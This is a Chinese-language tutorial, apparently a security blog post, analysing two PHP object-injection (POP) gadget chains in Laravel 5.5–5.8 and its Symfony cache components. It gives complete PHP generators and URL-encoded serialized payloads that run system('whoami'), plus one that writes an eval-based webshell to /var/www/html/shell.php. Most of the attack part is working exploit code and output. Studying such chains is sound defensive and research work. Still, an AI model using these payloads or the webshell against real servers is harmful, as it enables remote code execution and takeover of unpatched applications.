0x00 前言

这是学习Laravel框架中存在的反序列化漏洞的第2篇文章。

0x01 POP链 4

这条链适用的Laravel最低版本是5.5.39,但是在5.8.*上依然使用。

入口类Illuminate\Broadcasting\PendingBroadcast

出口类Illuminate\Validation\Validator

这一条POP链的入口方法还是Illuminate\Broadcasting\PendingBroadcast类的__destruct()方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Illuminate\Broadcasting;
class PendingBroadcast
{
protected $events;
protected $event;

public function __destruct()
{
$this->events->dispatch($this->event);
}
}

上一篇文章中的POP链 1利用的是魔术方法__call,当在对象中调用一个不可访问或者不存在的方法时,该魔术方法就会被调用。

在类Illuminate\Validation\Validator中存在__call函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace Illuminate\Validation;

class Validator implements ValidatorContract
{
public $extensions = [];

public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));

if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

throw new BadMethodCallException(sprintf(
'Method %s::%s does not exist.', static::class, $method
));
}
}

已经知道的是,__call()函数中第一个参数$method表示的是触发该__call()魔术方法的函数名,那么这个值就是dispatch,我们令$this->events为类Illuminate\Validation\Validator的一个实例化对象。而且这里需要注意的一个点是,dispatch函数的名的长度是7个字符,但是这里用substr($method,8);从第8个位置开始从该字符串中取出字符串,所以取出的值就是一个长度为0的空字符串,也就说$rule其实是''$paramter是一个数组,是传入该函数的参数,它对应的就是$this->event,也就是传入dispatch的参数。

跟进$this->callExtension(),看到了目标call_user_func_array

1
2
3
4
5
6
7
8
9
10
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];

if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}

这里$callback来自$this->extension[$rule],而$this->extension是用户可控的一个数组。$rule来自__call魔术方法的参数$method,经过Str::snake(substr($method, 8));处理后得到。所以要执行系统命令,可以令$callbacksystem,然后$parameterwhoami,而$parameter其实就是$this->event

跟进Str::snake方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function snake($value, $delimiter = '_')
{
$key = $value;

if (isset(static::$snakeCache[$key][$delimiter])) {
return static::$snakeCache[$key][$delimiter];
}

if (! ctype_lower($value)) {
$value = preg_replace('/\s+/u', '', ucwords($value));

$value = static::lower(preg_replace('/(.)(?=[A-Z])/u', '$1'.$delimiter, $value));
}

return static::$snakeCache[$key][$delimiter] = $value;
}

这个函数有点复杂,乍一看,我确实是分析不来。但是根据前面的分析,$rule对应的应该是'',那么$this->extensions就应该是array('' => 'system');,得出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast {
protected $event;
protected $events;

public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Illuminate\Validation {
class Validator
{
public $extensions = [];

public function __construct($extenstions)
{
$this->extensions = $extensions;
}
}
}

namespace {
$a = new Illuminate\Validation\Validator(array('' => 'system'));
$b = new Illuminate\Broadcasting\PendingBroadcast($a, 'whoami');

echo serialize($b);
// echo urlencode(serialize($b));
}

给保护字段添加%00得到:

1
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:8:"%00*%00event";s:6:"whoami";s:9:"%00*%00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}}

2

调试跟踪下,确实证实了猜想,$rule''

1

写shell

这里写shell和第一篇文章中的POP链 1一样,需要借助类PhpOption\LazyOption写入shell。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast {
protected $event;
protected $events;

public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Illuminate\Validation {
class Validator
{
public $extensions = [];

public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}

namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}

namespace {
$lazyOption = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_POST[1]);'), null);
$validator = new Illuminate\Validation\Validator(array('' => array($lazyOption, 'filter')));
$pendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($validator, 1);

echo urlencode(serialize($pendingBroadcast));
}

exp:

1
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3Bi%3A1%3Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22PhpOption%5CLazyOption%22%3A3%3A%7Bs%3A30%3A%22%00PhpOption%5CLazyOption%00callback%22%3Bs%3A17%3A%22file_put_contents%22%3Bs%3A31%3A%22%00PhpOption%5CLazyOption%00arguments%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A23%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bi%3A1%3Bs%3A22%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%22%3B%7Ds%3A28%3A%22%00PhpOption%5CLazyOption%00option%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22filter%22%3B%7D%7D%7D%7D

0x02 POP链 5

入口类Symfony\Component\Cache\Adapter\TagAwareAdapter

出口类Symfony\Component\Cache\Adapter\ProxyAdapter

这条POP链是由Laravel的Symfony组件的TagAwareAdapter类触发的。我们初始安装的Laravel 5.8.*框架并不包含该组件。修改composer.json文件,在require下添加:

1
"symfony/symfony": "4.*"

然后执行更新:

1
composer update

POP链的入口在TagAwareAdapter类的__destruct方法,该方法会调用commit()

3

commit()方法会调用invalidateTags(),继续跟进:

4

在第124行,用一个foreach循环对$items进行遍历,而$items来自$this->deferred,所以得到第一个信息:$this->deferred是一个数组,而$this->deferred是用户可控的。然后进入if语句,调用$this->poolsaveDeferred()方法,可以得到,$this->pool是一个对象,而且$this->pool也是用户可控的。当前类中并不存在saveDeferred()方法,所以这里肯定是通过$this->pool调用别的对象里的saveDeferred()方法,注意传入的值为$item

全局搜索下,在Symfony\Component\Cache\Adapter\ProxyAdapter类中发现了可用的方法:

5

在该类的saveDeferred()方法中,会将之前传入的$item参数继续传入doSave()方法中,跟入doSave

6

doSave()中发现了动态调用(第245行)。那先来分析一下是否可以利用,首先$this->setInnerItemProxyAdapter类的private属性成员变量,是用户可控的;而且经过前面的分析,知道$item是来自ProxyAdapter类的$this->deferred属性,也是可控的;还有一个就是$innerItem,从第234行可以看到,当满足if条件语句if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"])时,$innerItem就可以由$item["\0*\0innerItem"]得到。

这里数组key值中的\0*\0是对象强转数组得到的,表示protected成员变量,下面就是一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Book
{
protected $bookname;
protected $price;

public function __construct($bookname, $price) {
$this->bookname = $bookname;
$this->price = $price;
}
}

$book = new Book('book-1', 14);
var_dump((array)$book);

ps:注意区分(array)$bookarray($book)

1
2
3
array (size=2)
'\0*\0bookname' => string 'book-1' (length=6)
'\0*\0price' => int 14

接着回到doSave()方法。上面的分析其实还可以得到一个很重要的信息,那就是$item其实是一个对象。在226行,判断$item是不是CacheItem的一个实例化对象:

1
2
3
if (!$item instanceof CacheItem) {
return false;
}

如果不满足,直接返回false,所以必须满足该条件。

7

这里需要Symfony\Component\Cache\CacheItem类的三个属性,分别为expirypoolHashinnerItemdefaultLifetime不需要,只要null === $item["\0*\0expiry"]不满足即可。我们的目标是进入第234行的if,因为$innerItem是后面需要执行的命令的参数,所以必须对它进行一个赋值,对其进行赋值也简单,满足$item["\0*\0poolHash"] === $this->poolHash$item["\0*\0innerItem"]不为空,前者因为Symfony\Component\Cache\AdapterProxyAdapter类的poolHash方法是可控的,所以可以实现。

现在就还有最后一个问题,因为这里的动态函数调用($this->setInnerItem)($innerItem, $item);是支持双参数的,所以我们可以选择一些双参的参数。可以用system函数来执行一些命令,这个函数也是支持双参的,第2个参数是可选的,用来保存返回的执行状态:

8

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
}

namespace Symfony\Component\Cache\Adapter{
class TagAwareAdapter
{
private $deferred;
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}

namespace {
$cacheItem = new Symfony\Component\Cache\CacheItem(1, 1, 'whoami');
$proxyAdapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1, 'system');
$tagAwareAdapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheItem), $proxyAdapter);

echo urlencode(serialize($tagAwareAdapter));
}

exp:

1
O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00expiry%22%3Bi%3A1%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bi%3A1%3Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bi%3A1%3Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D

执行效果:

9

调用链:

10